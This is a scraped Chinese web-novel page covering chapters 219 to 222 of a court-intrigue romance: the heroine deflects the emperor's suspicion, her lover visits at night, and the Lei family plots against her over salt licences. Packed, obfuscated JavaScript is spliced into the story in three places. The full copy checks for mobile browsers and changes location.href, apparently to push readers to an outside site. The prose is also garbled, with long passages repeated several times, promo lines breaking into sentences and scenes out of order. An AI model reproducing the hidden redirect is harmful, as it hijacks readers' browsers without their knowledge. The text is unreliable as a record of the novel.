这妖孽放在外面太危险了,还是他收了吧。 云筝眼睛一瞪,“不好,我连叶宜蓁一个女人都容不下,更不要说那么多嫔妃。” 她气呼呼的说道,“我要进了宫,第一步就是拳打六宫,天天打架**,将后宫搅的鸡犬不宁。” “谁让我不好过,我让他全家不好过。” 皇上:…… 云筝还嫌不够刺激,“第二步,我有的是钱,收买宫人为我所用,再勾结朝中大臣,里应外合,后宫干政。” 明知她胡说八道,但皇上还是被气炸了,“大逆不道。” “给朕滚!” 他还想多活几年! 云筝麻溜的滚了,出了宫,进了自家的马车,脸上混不吝的笑容落了下来。 这才发现,后背的衣服被冷汗打湿了,伴君如伴虎。 她无声的叹气,这一关暂时算是过了。 但,皇上起了猜忌之心,是不会轻易打消的。 不行,得想想办法。 养心殿,皇上好不容易缓过来,“大伴,你说,锦云这么坦荡,两人之间真的没有猫腻?” 以前没有注意的细节都浮现在心头,越想越觉得不对劲。 大太监小心翼翼的开口,“皇上,要不,你问问睿亲王?” 皇上不假思索的摇头,“不行,他会生气,你去问。” 大太监:……所以,他是那个倒霉蛋喽?让他多嘴! “是。” 大太监走了两步,就被皇上叫住了,“回来。” “算了,再看看情况。” 深夜,云筝还没有入睡,坐在窗边看月光,手边是两杯清茶。 一道黑影翩然而至,“筝儿。” 是厉无恙,一身玄衣跟暗夜仿若浑然一体。 云筝没有意外,将茶杯递了过去,他很自然接过来喝了一口润润喉。 “皇上怎么突然起疑心了?” 云筝微微抿嘴,“他又不傻,要不,以后避点嫌?” 厉无恙一把拉住她的手,“怎么避?我们见面本来就少,我还想天天见到你。” “可是,我有点担心……” 厉无恙轻轻搂住她,满眼的温柔,“别怕,一切有我。” “你有办法?” “借势。”厉无恙嘴角扬起一抹淡笑,自信而又从容。 “我们借一借贵妃和雷家的东风。” 听完厉无恙的计划,云筝双目圆睁,兴奋莫名。 嗯,有点缺德,但好用啊! 干! 委屈上了,“官员们左拥右抱,妻妾成群,我为什么不行?我也是当官的!” 一时之间,皇上头痛欲裂,“朕召你入宫,可好?” 这妖孽放在外面太危险了,还是他收了吧。 云筝眼睛一瞪,“不好,我连叶宜蓁一个女人都容不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124599|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,更不要说那么多嫔妃。” 她气呼呼的说道,“我要进了宫,第一步就是拳打六宫,天天打架**,将后宫搅的鸡犬不宁。” “谁让我不好过,我让他全家不好过。” 皇上:…… 云筝还嫌不够刺激,“第二步,我有的是钱,收买宫人为我所用,再勾结朝中大臣,里应外合,后宫干政。” 明知她胡说八道,但皇上还是被气炸了,“大逆不道。” “给朕滚!” 他还想多活几年! 云筝麻溜的滚了,出了宫,进了自家的马车,脸上混不吝的笑容落了下来。 这才发现,后背的衣服被冷汗打湿了,伴君如伴虎。 她无声的叹气,这一关暂时算是过了。 但,皇上起了猜忌之心,是不会轻易打消的。 不行,得想想办法。 养心殿,皇上好不容易缓过来,“大伴,你说,锦云这么坦荡,两人之间真的没有猫腻?” 以前没有注意的细节都浮现在心头,越想越觉得不对劲。 大太监小心翼翼的开口,“皇上,要不,你问问睿亲王?” 皇上不假思索的摇头,“不行,他会生气,你去问。” 大太监:……所以,他是那个倒霉蛋喽?让他多嘴! “是。” 大太监走了两步,就被皇上叫住了,“回来。” “算了,再看看情况。” 深夜,云筝还没有入睡,坐在窗边看月光,手边是两杯清茶。 一道黑影翩然而至,“筝儿。” 是厉无恙,一身玄衣跟暗夜仿若浑然一体。 云筝没有意外,将茶杯递了过去,他很自然接过来喝了一口润润喉。 “皇上怎么突然起疑心了?” 云筝微微抿嘴,“他又不傻,要不,以后避点嫌?” 厉无恙一把拉住她的手,“怎么避?我们见面本来就少,我还想天天见到你。” “可是,我有点担心……” 厉无恙轻轻搂住她,满眼的温柔,“别怕,一切有我。” “你有办法?” “借势。”厉无恙嘴角扬起一抹淡笑,自信而又从容。 “我们借一借贵妃和雷家的东风。” 听完厉无恙的计划,云筝双目圆睁,兴奋莫名。 嗯,有点缺德,但好用啊! 干! 委屈上了,“官员们左拥右抱,妻妾成群,我为什么不行?我也是当官的!” 一时之间,皇上头痛欲裂,“朕召你入宫,可好?” 这妖孽放在外面太危险了,还是他收了吧。 云筝眼睛一瞪,“不好,我连叶宜蓁一个女人都容不下,更不要说那么多嫔妃。” 她气呼呼的说道,“我要进了宫,第一步就是拳打六宫,天天打架**,将后宫搅的鸡犬不宁。” “谁让我不好过,我让他全家不好过。” 皇上:…… 云筝还嫌不够刺激,“第二步,我有的是钱,收买宫人为我所用,再勾结朝中大臣,里应外合,后宫干政。” 明知她胡说八道,但皇上还是被气炸了,“大逆不道。” “给朕滚!” 他还想多活几年! 云筝麻溜的滚了,出了宫,进了自家的马车,脸上混不吝的笑容落了下来。 这才发现,后背的衣服被冷汗打湿了,伴君如伴虎。 她无声的叹气,这一关暂时算是过了。 但,皇上起了猜忌之心,是不会轻易打消的。 不行,得想想办法。 养心殿,皇上好不容易缓过来,“大伴,你说,锦云这么坦荡,两人之间真的没有猫腻?” 以前没有注意的细节都浮现在心头,越想越觉得不对劲。 大太监小心翼翼的开口,“皇上,要不,你问问睿亲王?” 皇上不假思索的摇头,“不行,他会生气,你去问。” 大太监:……所以,他是那个倒霉蛋喽?让他多嘴! “是。” 大太监走了两步,就被皇上叫住了,“回来。” “算了,再看看情况。” 深夜,云筝还没有入睡,坐在窗边看月光,手边是两杯清茶。 一道黑影翩然而至,“筝儿。” 是厉无恙,一身玄衣跟暗夜仿若浑然一体。 云筝没有意外,将茶杯递了过去,他很自然接过来喝了一口润润喉。 “皇上怎么突然起疑心了?” 云筝微微抿嘴,“他又不傻,要不,以后避点嫌?” 厉无恙一把拉住她的手,“怎么避?我们见面本来就少,我还想天天见到你。” “可是,我有点担心……” 厉无恙轻轻搂住她,满眼的温柔,“别怕,一切有我。” “你有办法?” “借势。”厉无恙嘴角扬起一抹淡笑,自信而又从容。 “我们借一借贵妃和雷家的东风。” 听完厉无恙的计划,云筝双目圆睁,兴奋莫名。 嗯,有点缺德,但好用啊! 干! 委屈上了,“官员们左拥右抱,妻妾成群,我为什么不行?我也是当官的!” 一时之间,皇上头痛欲裂,“朕召你入宫,可好?” 这妖孽放在外面太危险了,还是他收了吧。 云筝眼睛一瞪,“不好,我连叶宜蓁一个女人都容不下,更不要说那么多嫔妃。” 她气呼呼的说道,“我要进了宫,第一步就是拳打六宫,天天打架**,将后宫搅的鸡犬不宁。” “谁让我不好过,我让他全家不好过。” 皇上:…… 云筝还嫌不够刺激,“第二步,我有的是钱,收买宫人为我所用,再勾结朝中大臣,里应外合,后宫干政。” 明知她胡说八道,但皇上还是被气炸了,“大逆不道。” “给朕滚!” 他还想多活几年! 云筝麻溜的滚了,出了宫,进了自家的马车,脸上混不吝的笑容落了下来。 这才发现,后背的衣服被冷汗打湿了,伴君如伴虎。 她无声的叹气,这一关暂时算是过了。 但,皇上起了猜忌之心,是不会轻易打消的。 不行,得想想办法。 养心殿,皇上好不容易缓过来,“大伴,你说,锦云这么坦荡,两人之间真的没有猫腻?” 以前没有注意的细节都浮现在心头,越想越觉得不对劲。 大太监小心翼翼的开口,“皇上,要不,你问问睿亲王?” 皇上不假思索的摇头,“不行,他会生气,你去问。” 大太监:……所以,他是那个倒霉蛋喽?让他多嘴! “是。” 大太监走了两步,就被皇上叫住了,“回来。” “算了,再看看情况。” 深夜,云筝还没有入睡,坐在窗边看月光,手边是两杯清茶。 一道黑影翩然而至,“筝儿。” 是厉无恙,一身玄衣跟暗夜仿若浑然一体。 云筝没有意外,将茶杯递了过去,他很自然接过来喝了一口润润喉。 “皇上怎么突然起疑心了?” 云筝微微抿嘴,“他又不傻,要不,以后避点嫌?” 厉无恙一把拉住她的手,“怎么避?我们见面本来就少,我还想天天见到你。” “可是,我有点担心……” 厉无恙轻轻搂住她,满眼的温柔,“别怕,一切有我。” “你有办法?” “借势。”厉无恙嘴角扬起一抹淡笑,自信而又从容。 “我们借一借贵妃和雷家的东风。” 听完厉无恙的计划,云筝双目圆睁,兴奋莫名。 嗯,有点缺德,但好用啊! 干! 第220章 半夜探香闺,差点被抓 厉无恙定定的看着云筝,忽然问道,“听说,你求皇上赐美男?” 云筝顿时乐了,眉眼弯弯,“对啊,给我唱唱小曲,吹吹笛子,弹弹曲,可享受了。” 厉无恙扭过头,冷哼一声。 云筝偷笑,悄悄凑过去看他的脸色,“吃醋了?” 他不语,一味的扭头。 云筝拉住他的衣袖轻晃,软软的撒娇,“我开玩笑的,这世间,哪个男子比得上九千岁的俊朗帅气呢?还处处护着我,不让我受一点委屈,这么好的男人是老天赐给我的。” “我最最最喜欢九千岁啦。” 谁挡得住她的撒娇,厉无恙的耳根子红了,心底泛起一丝甜蜜。 ”那你还跟皇上开口?” 云筝眨巴着眼睛,无辜极了,“故布迷阵,打消他的疑心呗,你那么聪明怎么会想不到?” 厉无恙什么都知道,但还是酸了! 云筝忽然指了指他的胳膊,“你说说,为什么受伤了却不告诉我?还带伤跑来沁园?还故意将伤口弄开?” 这下子轮到厉无恙紧张了,“你怎么知道?” 云筝没好气的瞪了他一眼,她还不了解他吗? “贵妃刚说我们关系不正常,你的伤就发作了,太是时候了。” 厉无恙深深的看着她,她真的很聪明。 云筝气鼓鼓的,“你一点都不爱惜自己!” 厉无恙心里一颤,“我习惯了受伤,也习惯了自己处理伤口,对我来说,这点伤不算什么。” 若不是贵妃咄咄逼人,他也不会选择自曝。 “现在不一样了,你有我,我会心疼。” 厉无恙的心如被一只不知名的大手抚过,说不出的温暖,“心疼我?” “对,答应我,要好好爱惜自己,不要再让自己轻易受伤。” 厉无恙嘴角噙着一抹醉人的轻笑,“好,我答应你。” 他轻轻将她搂入怀中,软软的,小小的,却给予了他无尽的温暖。 “筝儿,你对我真好,遇到你,真好!” 他小心翼翼的俯下身体,温热的呼吸轻轻拂过她的脸,越来越近,她一下子慌乱起来,心跳失控。 “怦,怦,怦”,是谁的心 你的朋友正在书荒,快去帮帮他吧 在狂跳? 就在此时,外面响起熟悉的声音,“筝儿。 云筝猛的将男人推开,紧张的跳起来,“糟糕,是我娘,快找个地方躲起来,快。 厉无恙一脸的遗憾,早不早,晚不晚,偏偏在这个时候。 见他没有反应,云筝急的推了他一把,“赶紧啊,被我娘看到,你就完蛋了,你这辈子都别想娶到我。 “筝儿,筝儿。 外面的声音越来越着急,云筝赶紧过去开门,“娘。 开门的瞬间,她偷偷扫了一眼室内,嗯?人不见了? 云筝笑眯眯的挽着云母胳膊进入内室,指了指窗边的美人榻,榻上放着一本书。 “我看书呢,看的一时入迷,忘了时间。 云母怔了怔,“窗怎么开着?春华她们是怎么照顾你的?不行,我得好好说说她们,都怎么办差的? 一家人是分开住的,云家夫妻住云府,云筝是住郡主府,但只有一墙之隔。 一家人有空就一起吃晚饭,但,鲜少大晚上的跑过来找她。 云筝微微笑道,“我不用她们侍候,让她们去休息了。 “娘,您有事吗? 云母这才想起正事,拉着女儿坐在床头。 “我今日出门逛街时,遇到雷五夫人,客客气气的跟我打了招呼,等我结帐时,才发现帐已经被那位雷五夫人一起结了。 “我本想吃晚饭时问问你怎么处理,结果你办差回来晚了,我就过去瞧瞧。 女儿实在太忙了,上衙太早,都遇不上她。 她将手中的锦盒打开,是一套十二件的钗环,流光溢彩。 云筝随手拿起一支红宝石镶嵌珍珠钗,“好大的手笔,这一套珠钗值几千两银子吧。 云母知道自家跟雷家没有来往,这忽然送礼让她心里慌慌的。 “她好端端的为什么送礼?要不,明日就给退回去?会给你惹麻烦吗? 她不在乎这点银子,但,退回礼物也是一件得罪人的事。 而且,雷家也不是普通人家,是贵妃的娘家,三皇子的外家。 云筝笑着安抚道,“没事,您放心收下吧。 “真没问题?云母刚想说什么,忽然 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 听到外面有动静,下意识的走到窗边,探头查看,“刚才是什么声音?” 云筝的心提了起来,也走到窗边装模作样的查看,“有声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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厉无恙眼中全是笑意,“怕,我堂堂睿亲王也怕未来岳母,怕她不肯将女儿嫁给我!” 两人你看看我,我看看你,都笑了。 雷家,雷家主收到贵妃的信,眉头紧皱,轻轻叹了一口气。 “请娘娘放心,我一定帮她将事情办好。” 雷家主将手中的信放到烛火前,火苗瞬间烧着了信纸,不一会儿成了灰烬。 烛光摇曳,映照着他的面容时而拉长,时而扭曲。 “云筝,别怪我心狠,只怪你得罪了不该得罪的人。” “这是你的命!” 第221章 想算计她?下辈子吧 雷家为了庆贺雷心恬进宫封为美人,特意在沁园大摆宴席。 他家广发请柬,不仅给云家发了请柬,还给三皇子府递了请柬,三皇子表示会亲临现场。 这消息一出,各方观望的人都动了起来。 既然三皇子都不介意,那还有什么可顾忌的? 沁园,风和日丽,秋风送爽,丹桂飘香。 宾客如云,雷家几房表现的和乐融融,欢声笑语声不断。 雷五夫人作为雷美人的亲生母亲,自然是出尽风头。 云母被侍女迎了进来,现场一静,锦云郡主的母亲? 雷家和锦云郡主的恩怨闹的沸沸扬扬,雷家居然给云家下了请柬,云母也来了。 这是有意修好? “真稀奇,雷家和云家居然一派和乐,我还以为要掐起来呢。” “贵妃娘娘素有容人之量,她特意交待,凡事以和为贵。” “不愧是贵妃娘娘。” 雷大夫人亲自上前迎接,“云夫人,多谢您赏脸。” 云母是看在那一套首饰的份上,又是在自家的沁园摆宴,还郑重其事的下了请柬,她不好推托。 “您客气了。” 两人客客气气的寒暄了几句,云母在雷五夫人的陪伴下,坐在一群诰命夫人中间。 她一落座,大家就围上来攀谈,可谓是众星捧月。 云母以前也出席过江南总督府的宴会,但,那时的体验并不好,被冷落,被轻视。 而这一次,大家都明里暗里捧着,不着痕迹的讨好她,这让她心情舒畅。 果然,儿女出息了,就是父母最大的依靠。 母凭女贵,在这一刻具象化了。 “云夫人,郡主会来吗?“ 云母嘴角轻轻上扬,“她等会过来接我。” 一名贵妇人立马说道,“那,到时还请云夫人引见。” 其他人也纷纷附和,云母满口答应。 三皇子也来了,雷家主亲自作陪,一众宾客围在他四周,气氛无比热切。 就在此时,通禀声响起。 “锦云郡主来了。” 三皇子怔了怔,“没想到她愿意过来露个面,外祖父 ,您要跟她好好相处,别得罪了她,她在父皇面前说得上话。” 雷家主笑容温和,“您放心,雷家绝不会拖您的后腿。” 云筝是下了衙过来的,没有换衣服,一袭绯红官服极为抢眼。 她一进来,就吸引了全场的注意。 有羡慕的,有嫉妒的,有心里不高兴,但不管如何,都得给她行礼。 “见过郡主。” 云筝微微抬手,气度不凡,“都起来吧。” 她看到三皇子,走了过来,行了一礼。“见过三皇子。” 不管心里怎么想,她的礼仪做的极为到位。 三皇子笑吟吟的还礼,还指着雷家主动介绍,“这是我外祖父,安南伯。” 这是贵妃上位后,皇上赏了贵妃娘家一个爵位,但不能**。 小气的很。 云筝不动声色的打量了两眼,雷家主看着是个极为温文儒雅的老者,但,人不可貌相。 “见过安南伯。” 雷家主忙不迭的还礼,“早闻郡主的大名,今日得见,实属幸事。” 几人聊了几句,三皇子忽然开口问道,“听说,父皇要召你入后宫?” 现场一静,云筝淡淡的道,“三皇子,你母妃要出家?” 三皇子气的直瞪眼,“胡说八道。” 云筝面色平静无波,“嗯,彼此彼此。” 三皇子:……还是这么狗! 雷家主见状,微微蹙眉,“锦云郡主,我想跟您谈一桩生意,一本万利。若是做的好,不出一年就能挣的盆满钵满。” 他神色诚恳,“就耽误你半个时辰,不知可赏脸?” 云筝深深的看了他一眼,微微颌首,“职责所在,义不容辞。请稍等。” 雷家啊,想找死,那就成全他。 “娘,我去去就回。” 云母叮嘱了几句,“紫烟,保护好小姐。” “是。” 醉吟轩,是临水的水阁,一明一暗两间,供客人小憩,极为幽静。 明间是一套圆桌椅,旁边是一张茶几和两张太师椅,椅子上铺着花开富贵的垫子。 角落里,熏香袅袅,室内弥漫着清雅的香气。 一个中年男子已经在此等候,见一行人进来,连忙起身迎接。 雷家主面带微笑,指着那个中年男子,“来,我来介绍,这位是来自扬州的盐商,姓曹,名德文。” 曹老爷恭恭敬敬的行礼,“德文见过锦云郡主,郡主吉祥。” 云筝挑了挑眉,“盐商?确实是一本万利的好生意。不过,要注意分寸,贩卖私盐是大罪,要**的。” 她随口敲打了一句。 雷家主深深的看了她一眼,是故意的?还是无意的? 曹老爷一愣,随后漫不在心的道,“不敢,我做生意向来规规矩矩,不敢越雷池一步。” 雷家主笑道,“坐下来谈吧。” 他看云筝的眼神很复杂。 从她踏入醉吟轩的这一刻起,她的命运就注定了! 别怪他! 两人分主宾落坐,曹老爷身份最低,只能坐在最下手的位置。 几个侍女端茶送水,极为热闹。 紫烟侍立在云筝身后,警惕的四处查看。 她嗅了嗅熏香,是?沉香+白檀,能宁神静气。 曹老爷一坐下来就开门见山,“郡主,若能帮我拿到一张盐引,我愿意给出一成利润,是给您个人的。” 云筝瞥了一眼,长相平平,但就算一身锦服也压不住那份刀口舔血的凶悍之色。 “你不是有盐引吗?” 曹老爷眼中闪过一丝精明之色,“我只有扬州的,我觉得镇江,高邮,苏宁三地都大有可为,还请郡主助我。” 云筝挑了挑眉,好家伙,野心勃勃啊。 江南最好的地区盐引已经被他拿下,还盯上了其他三地,也不怕撑死。 “盐引归户部管辖,我无权插手。” 曹老爷举起二根手指,“二成利润,我知道您跟户部尚书的关系不错,而且,您想办的事,就没有失败过。” 云筝淡淡的反问,“你觉得我缺钱吗?” 曹老爷一脸的傲气,“谁会嫌钱多?郡主,你,我和雷家联手,这世上无人是我们的对手。” 云筝不动声色的瞥了雷家主一眼,嘴角勾了勾。 “你们在打什么鬼主意?怎么算计我?” 两人的脸色瞬间大变,她知道了?怎么会走漏风声? 不对,明明这世上只有他们两人知道啊! 这是,诈他们? 一个中年男子已经在此等候,见一行人进来,连忙起身迎接。 雷家主面带微笑,指着那个中年男子,“来,我来介绍,这位是来自扬州的盐商,姓曹,名德文。” 曹老爷恭恭敬敬的行礼,“德文见过锦云郡主,郡主吉祥。” 云筝挑了挑眉,“盐商?确实是一本万利的好生意。不过,要注意分寸,贩卖私盐是大罪,要**的。” 她随口敲打了一句。 雷家主深深的看了她一眼,是故意的?还是无意的? 曹老爷一愣,随后漫不在心的道,“不敢,我做生意向来规规矩矩,不敢越雷池一步。” 雷家主笑道,“坐下来谈吧。” 他看云筝的眼神很复杂。 从她踏入醉吟轩的这一刻起,她的命运就注定了! 别怪他! 两人分主宾落坐,曹老爷身份最低,只能坐在最下手的位置。 几个侍女端茶送水,极为热闹。 紫烟侍立在云筝身后,警惕的四处查看。 她嗅了嗅熏香,是?沉香+白檀,能宁神静气。 曹老爷一坐下来就开门见山,“郡主,若能帮我拿到一张盐引,我愿意给出一成利润,是给您个人的。” 云筝瞥了一眼,长相平平,但就算一身锦服也压不住那份刀口舔血的凶悍之色。 “你不是有盐引吗?” 曹老爷眼中闪过一丝精明之色,“我只有扬州的,我觉得镇江,高邮,苏宁三地都大有可为,还请郡主助我。” 云筝挑了挑眉,好家伙,野心勃勃啊。 江南最好的地区盐引已经被他拿下,还盯上了其他三地,也不怕撑死。 “盐引归户部管辖,我无权插手。” 曹老爷举起二根手指,“二成利润,我知道您跟户部尚书的关系不错,而且,您想办的事,就没有失败过。” 云筝淡淡的反问,“你觉得我缺钱吗?” 曹老爷一脸的傲气,“谁会嫌钱多?郡主,你,我和雷家联手,这世上无人是我们的对手。” 云筝不动声色的瞥了雷家主一眼,嘴角勾了勾。 “你们在打什么鬼主意?怎么算计我?” 两人的脸色瞬间大变,她知道了?怎么会走漏风声? 不对,明明这世上只有他们两人知道啊! 这是,诈他们? 一个中年男子已经在此等候,见一行人进来,连忙起身迎接。 雷家主面带微笑,指着那个中年男子,“来,我来介绍,这位是来自扬州的盐商,姓曹,名德文。” 曹老爷恭恭敬敬的行礼,“德文见过锦云郡主,郡主吉祥。” 云筝挑了挑眉,“盐商?确实是一本万利的好生意。不过,要注意分寸,贩卖私盐是大罪,要**的。” 她随口敲打了一句。 雷家主深深的看了她一眼,是故意的?还是无意的? 曹老爷一愣,随后漫不在心的道,“不敢,我做生意向来规规矩矩,不敢越雷池一步。” 雷家主笑道,“坐下来谈吧。” 他看云筝的眼神很复杂。 从她踏入醉吟轩的这一刻起,她的命运就注定了! 别怪他! 两人分主宾落坐,曹老爷身份最低,只能坐在最下手的位置。 几个侍女端茶送水,极为热闹。 紫烟侍立在云筝身后,警惕的四处查看。 她嗅了嗅熏香,是?沉香+白檀,能宁神静气。 曹老爷一坐下来就开门见山,“郡主,若能帮我拿到一张盐引,我愿意给出一成利润,是给您个人的。” 云筝瞥了一眼,长相平平,但就算一身锦服也压不住那份刀口舔血的凶悍之色。 “你不是有盐引吗?” 曹老爷眼中闪过一丝精明之色,“我只有扬州的,我觉得镇江,高邮,苏宁三地都大有可为,还请郡主助我。” 云筝挑了挑眉,好家伙,野心勃勃啊。 江南最好的地区盐引已经被他拿下,还盯上了其他三地,也不怕撑死。 “盐引归户部管辖,我无权插手。” 曹老爷举起二根手指,“二成利润,我知道您跟户部尚书的关系不错,而且,您想办的事,就没有失败过。” 云筝淡淡的反问,“你觉得我缺钱吗?” 曹老爷一脸的傲气,“谁会嫌钱多?郡主,你,我和雷家联手,这世上无人是我们的对手。” 云筝不动声色的瞥了雷家主一眼,嘴角勾了勾。 “你们在打什么鬼主意?怎么算计我?” 两人的脸色瞬间大变,她知道了?怎么会走漏风声? 不对,明明这世上只有他们两人知道啊! 这是,诈他们? 一个中年男子已经在此等候,见一行人进来,连忙起身迎接。 雷家主面带微笑,指着那个中年男子,“来,我来介绍,这位是来自扬州的盐商,姓曹,名德文。” 曹老爷恭恭敬敬的行礼,“德文见过锦云郡主,郡主吉祥。” 云筝挑了挑眉,“盐商?确实是一本万利的好生意。不过,要注意分寸,贩卖私盐是大罪,要**的。” 她随口敲打了一句。 雷家主深深的看了她一眼,是故意的?还是无意的? 曹老爷一愣,随后漫不在心的道,“不敢,我做生意向来规规矩矩,不敢越雷池一步。” 雷家主笑道,“坐下来谈吧。” 他看云筝的眼神很复杂。 从她踏入醉吟轩的这一刻起,她的命运就注定了! 别怪他! 两人分主宾落坐,曹老爷身份最低,只能坐在最下手的位置。 几个侍女端茶送水,极为热闹。 紫烟侍立在云筝身后,警惕的四处查看。 她嗅了嗅熏香,是?沉香+白檀,能宁神静气。 曹老爷一坐下来就开门见山,“郡主,若能帮我拿到一张盐引,我愿意给出一成利润,是给您个人的。” 云筝瞥了一眼,长相平平,但就算一身锦服也压不住那份刀口舔血的凶悍之色。 “你不是有盐引吗?” 曹老爷眼中闪过一丝精明之色,“我只有扬州的,我觉得镇江,高邮,苏宁三地都大有可为,还请郡主助我。” 云筝挑了挑眉,好家伙,野心勃勃啊。 江南最好的地区盐引已经被他拿下,还盯上了其他三地,也不怕撑死。 “盐引归户部管辖,我无权插手。” 曹老爷举起二根手指,“二成利润,我知道您跟户部尚书的关系不错,而且,您想办的事,就没有失败过。” 云筝淡淡的反问,“你觉得我缺钱吗?” 曹老爷一脸的傲气,“谁会嫌钱多?郡主,你,我和雷家联手,这世上无人是我们的对手。” 云筝不动声色的瞥了雷家主一眼,嘴角勾了勾。 “你们在打什么鬼主意?怎么算计我?” 两人的脸色瞬间大变,她知道了?怎么会走漏风声? 不对,明明这世上只有他们两人知道啊! 这是,诈他们? 一个中年男子已经在此等候,见一行人进来,连忙起身迎接。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曹老爷举起二根手指,“二成利润,我知道您跟户部尚书的关系不错,而且,您想办的事,就没有失败过。” 云筝淡淡的反问,“你觉得我缺钱吗?” 曹老爷一脸的傲气,“谁会嫌钱多?郡主,你,我和雷家联手,这世上无人是我们的对手。” 云筝不动声色的瞥了雷家主一眼,嘴角勾了勾。 “你们在打什么鬼主意?怎么算计我?” 两人的脸色瞬间大变,她知道了?怎么会走漏风声? 不对,明明这世上只有他们两人知道啊! 这是,诈他们? 一个中年男子已经在此等候,见一行人进来,连忙起身迎接。 雷家主面带微笑,指着那个中年男子,“来,我来介绍,这位是来自扬州的盐商,姓曹,名德文。” 曹老爷恭恭敬敬的行礼,“德文见过锦云郡主,郡主吉祥。” 云筝挑了挑眉,“盐商?确实是一本万利的好生意。不过,要注意分寸,贩卖私盐是大罪,要**的。” 她随口敲打了一句。 雷家主深深的看了她一眼,是故意的?还是无意的? 曹老爷一愣,随后漫不在心的道,“不敢,我做生意向来规规矩矩,不敢越雷池一步。” 雷家主笑道,“坐下来谈吧。” 他看云筝的眼神很复杂。 从她踏入醉吟轩的这一刻起,她的命运就注定了! 别怪他! 两人分主宾落坐,曹老爷身份最低,只能坐在最下手的位置。 几个侍女端茶送水,极为热闹。 紫烟侍立在云筝身后,警惕的四处查看。 她嗅了嗅熏香,是?沉香+白檀,能宁神静气。 曹老爷一坐下来就开门见山,“郡主,若能帮我拿到一张盐引,我愿意给出一成利润,是给您个人的。” 云筝瞥了一眼,长相平平,但就算一身锦服也压不住那份刀口舔血的凶悍之色。 “你不是有盐引吗?” 曹老爷眼中闪过一丝精明之色,“我只有扬州的,我觉得镇江,高邮,苏宁三地都大有可为,还请郡主助我。” 云筝挑了挑眉,好家伙,野心勃勃啊。 江南最好的地区盐引已经被他拿下,还盯上了其他三地,也不怕撑死。 “盐引归户部管辖,我无权插手。” 曹老爷举起二根手指,“二成利润,我知道您跟户部尚书的关系不错,而且,您想办的事,就没有失败过。” 云筝淡淡的反问,“你觉得我缺钱吗?” 曹老爷一脸的傲气,“谁会嫌钱多?郡主,你,我和雷家联手,这世上无人是我们的对手。” 云筝不动声色的瞥了雷家主一眼,嘴角勾了勾。 “你们在打什么鬼主意?怎么算计我?” 两人的脸色瞬间大变,她知道了?怎么会走漏风声? 不对,明明这世上只有他们两人知道啊! 这是,诈他们? 一个中年男子已经在此等候,见一行人进来,连忙起身迎接。 雷家主面带微笑,指着那个中年男子,“来,我来介绍,这位是来自扬州的盐商,姓曹,名德文。” 曹老爷恭恭敬敬的行礼,“德文见过锦云郡主,郡主吉祥。” 云筝挑了挑眉,“盐商?确实是一本万利的好生意。不过,要注意分寸,贩卖私盐是大罪,要**的。” 她随口敲打了一句。 雷家主深深的看了她一眼,是故意的?还是无意的? 曹老爷一愣,随后漫不在心的道,“不敢,我做生意向来规规矩矩,不敢越雷池一步。” 雷家主笑道,“坐下来谈吧。” 他看云筝的眼神很复杂。 从她踏入醉吟轩的这一刻起,她的命运就注定了! 别怪他! 两人分主宾落坐,曹老爷身份最低,只能坐在最下手的位置。 几个侍女端茶送水,极为热闹。 紫烟侍立在云筝身后,警惕的四处查看。 她嗅了嗅熏香,是?沉香+白檀,能宁神静气。 曹老爷一坐下来就开门见山,“郡主,若能帮我拿到一张盐引,我愿意给出一成利润,是给您个人的。” 云筝瞥了一眼,长相平平,但就算一身锦服也压不住那份刀口舔血的凶悍之色。 “你不是有盐引吗?” 曹老爷眼中闪过一丝精明之色,“我只有扬州的,我觉得镇江,高邮,苏宁三地都大有可为,还请郡主助我。” 云筝挑了挑眉,好家伙,野心勃勃啊。 江南最好的地区盐引已经被他拿下,还盯上了其他三地,也不怕撑死。 “盐引归户部管辖,我无权插手。” 曹老爷举起二根手指,“二成利润,我知道您跟户部尚书的关系不错,而且,您想办的事,就没有失败过。” 云筝淡淡的反问,“你觉得我缺钱吗?” 曹老爷一脸的傲气,“谁会嫌钱多?郡主,你,我和雷家联手,这世上无人是我们的对手。” 云筝不动声色的瞥了雷家主一眼,嘴角勾了勾。 “你们在打什么鬼主意?怎么算计我?” 两人的脸色瞬间大变,她知道了?怎么会走漏风声? 不对,明明这世上只有他们两人知道啊! 这是,诈他们? 第222章 谁是棋手,谁又是棋子 曹德文小心翼翼的问道“郡主这是何意?” 云筝板着一张俏脸神色凝重“你藏的够深世人皆不知你早就投靠了雷家而雷家是三皇子的外家你们自然都是三皇子党。” “说什么和我一起做生意其实是想拉我下水!想将我拉到三皇子这条破船上!” 曹德文和雷家主交换了一个眼色不约而同的暗松了一口气。 原来是这个意思啊吓死他们了。 曹德文赔笑道“您多心了真的只是做生意。” 云筝面色清冷“没兴趣。” 曹德文眼珠乱转“听说您要跟崔家郑家做生意为什么不能和我们一起做生意?您瞧不起我就罢了怎么还瞧不起雷家?” 云筝坐直身体脸上露出嘲讽之色“我看着像傻子吗?” “他们背后没有主子你们有啊我不想跟任何一位皇子绑定对所谓的从龙之功不感兴趣。” 这确实是雷家挖的一个坑想拉拢她让她为三皇子冲锋陷阵。 但这也只是计中计。 曹德文不动声色的摸了摸腰间的香囊笑容可掬“郡主您真的误会了只是一起做生意还请您帮着拿到三地盐引。” 云筝摆了摆手一脸的不耐烦“为什么不找你们的主子?” 曹德文轻轻叹气“皇上忌惮皇子大臣结党却不会忌惮一个女子。” “郡主求您了您想要什么尽管开口我就算上天入地帮您弄来。” “不行。”云筝软硬不吃态度坚决。 雷家主和曹德文相视一眼 